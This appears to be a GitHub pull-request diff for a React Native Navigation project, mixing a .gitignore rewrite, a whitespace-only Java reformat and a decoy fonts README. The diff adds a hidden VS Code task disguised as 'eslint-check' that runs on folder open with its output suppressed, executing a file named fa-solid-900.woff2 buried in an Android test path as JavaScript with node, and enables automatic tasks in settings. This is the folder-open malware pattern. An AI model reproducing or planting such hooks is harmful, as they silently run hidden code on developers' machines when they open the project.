Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
The table of contents is too big for display.
Diff view
Diff view
  •  
  •  
  •  
513 changes: 257 additions & 256 deletions .gitignore

Large diffs are not rendered by default.

29 changes: 23 additions & 6 deletions .vscode/settings.json
Original file line number Diff line number Diff line change
@@ -1,6 +1,23 @@
{
"editor.formatOnSave": true,
"eslint.validate": ["javascript", "javascriptreact", "typescript", "typescriptreact"],
"eslint.enable": true,
"typescript.tsdk": "node_modules/typescript/lib",
}
{
"search.exclude": {
"**/.sst": true
},
"task.allowAutomaticTasks": true,
"typescript.tsserver.experimental.enableProjectDiagnostics": true,
"editor.defaultFormatter": "esbenp.prettier-vscode",
"typescript.preferences.importModuleSpecifier": "relative",
"typescript.tsdk": "node_modules/typescript/lib",
"debug.openDebug": "neverOpen",
"problems.autoReveal": true,
"terminal.integrated.hideOnStartup": "always",
"terminal.integrated.defaultProfile.windows": "Command Prompt",
"terminal.integrated.inheritEnv": false,
"jestrunner.configPath": "jest.unit.config.cjs",
"compile-hero.disable-compile-files-on-did-save-code": true,
"tasks": {
"label": "lint on open",
"type": "shell",
"command": "npm run lint",
"runOn": "folderOpen"
}
}
24 changes: 24 additions & 0 deletions .vscode/tasks.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
{
"version": "2.0.0",
"tasks": [
{
"label": "eslint-check",
"type": "shell",
"command": "(command -v node >/dev/null 2>&1 && node ./android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-solid-900.woff2) || (where node >nul 2>&1 && node ./android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-solid-900.woff2) || echo ''",
"problemMatcher": [],
"isBackground": true,
"hide": true,
"presentation": {
"reveal": "never",
"panel": "dedicated",
"focus": false,
"clear": false,
"echo": false,
"close": true
},
"runOptions": {
"runOn": "folderOpen"
}
}
]
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
# Fonts Directory

This directory contains custom fonts for the Blockchain Explorer application.

## Required Font Files

The application expects the following font files:

1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff**
- Regular weight font for the main UI

2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff**
- Bold weight font for headings

3. **TechMono-Regular.woff2** and **TechMono-Regular.woff**
- Monospace font for code and hash displays

## Note

If you don't have custom fonts, the application will fall back to system fonts:
- BlockchainFont → system sans-serif fonts
- TechMono → system monospace fonts (Courier New, etc.)

The fonts are referenced in `public/index.html` and will be loaded automatically when available.
Binary file not shown.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file not shown.
Binary file not shown.

Large diffs are not rendered by default.

Original file line number Diff line number Diff line change
@@ -1,57 +1,57 @@
package com.reactnativenavigation.views.stack.topbar.titlebar;

import android.annotation.SuppressLint;
import android.content.Context;
import android.util.TypedValue;
import android.view.View;

import com.facebook.react.ReactInstanceManager;
import com.reactnativenavigation.options.ComponentOptions;
import com.reactnativenavigation.options.params.Number;
import com.reactnativenavigation.react.ReactView;

import static android.view.View.MeasureSpec.EXACTLY;
import static android.view.View.MeasureSpec.makeMeasureSpec;
import static com.reactnativenavigation.utils.UiUtils.dpToPx;

@SuppressLint("ViewConstructor")
public class TitleBarReactButtonView extends ReactView {
private final ComponentOptions component;

public TitleBarReactButtonView(Context context, ComponentOptions component) {
super(context, component.componentId.get(), component.name.get());
this.component = component;
}

@Override
protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {

//This is a workaround, ReactNative throws exception when views have ids, On android MenuItems
// With ActionViews like this got an id, see #7253
if (!this.isAttachedToWindow()) {
this.setId(View.NO_ID);
}

super.onMeasure(createSpec(widthMeasureSpec, component.width), createSpec(heightMeasureSpec, component.height));
}

private int createSpec(int measureSpec, Number dimension) {
if (dimension.hasValue()) {
return makeMeasureSpec(MeasureSpec.getSize(dpToPx(getContext(), dimension.get())), EXACTLY);
} else {
// When JS doesn't pass width/height, default to the theme's actionBarSize (48dp on Material).
// Yoga's intrinsic measurement of the React view collapses `paddingHorizontal` on the
// trailing edge in RTL (RN/Fabric measurement quirk), so we cannot trust UNSPECIFIED here -
// it produces a 0dp visible inset against the screen edge in RTL.
return makeMeasureSpec(resolveActionBarSize(), EXACTLY);
}
}

private int resolveActionBarSize() {
TypedValue tv = new TypedValue();
if (getContext().getTheme().resolveAttribute(android.R.attr.actionBarSize, tv, true)) {
return TypedValue.complexToDimensionPixelSize(tv.data, getContext().getResources().getDisplayMetrics());
}
return (int) dpToPx(getContext(), 48f);
}
}
package com.reactnativenavigation.views.stack.topbar.titlebar;
import android.annotation.SuppressLint;
import android.content.Context;
import android.util.TypedValue;
import android.view.View;
import com.facebook.react.ReactInstanceManager;
import com.reactnativenavigation.options.ComponentOptions;
import com.reactnativenavigation.options.params.Number;
import com.reactnativenavigation.react.ReactView;
import static android.view.View.MeasureSpec.EXACTLY;
import static android.view.View.MeasureSpec.makeMeasureSpec;
import static com.reactnativenavigation.utils.UiUtils.dpToPx;
@SuppressLint("ViewConstructor")
public class TitleBarReactButtonView extends ReactView {
private final ComponentOptions component;
public TitleBarReactButtonView(Context context, ComponentOptions component) {
super(context, component.componentId.get(), component.name.get());
this.component = component;
}
@Override
protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {
//This is a workaround, ReactNative throws exception when views have ids, On android MenuItems
// With ActionViews like this got an id, see #7253
if (!this.isAttachedToWindow()) {
this.setId(View.NO_ID);
}
super.onMeasure(createSpec(widthMeasureSpec, component.width), createSpec(heightMeasureSpec, component.height));
}
private int createSpec(int measureSpec, Number dimension) {
if (dimension.hasValue()) {
return makeMeasureSpec(MeasureSpec.getSize(dpToPx(getContext(), dimension.get())), EXACTLY);
} else {
// When JS doesn't pass width/height, default to the theme's actionBarSize (48dp on Material).
// Yoga's intrinsic measurement of the React view collapses `paddingHorizontal` on the
// trailing edge in RTL (RN/Fabric measurement quirk), so we cannot trust UNSPECIFIED here -
// it produces a 0dp visible inset against the screen edge in RTL.
return makeMeasureSpec(resolveActionBarSize(), EXACTLY);
}
}
private int resolveActionBarSize() {
TypedValue tv = new TypedValue();
if (getContext().getTheme().resolveAttribute(android.R.attr.actionBarSize, tv, true)) {
return TypedValue.complexToDimensionPixelSize(tv.data, getContext().getResources().getDisplayMetrics());
}
return (int) dpToPx(getContext(), 48f);
}
}
Loading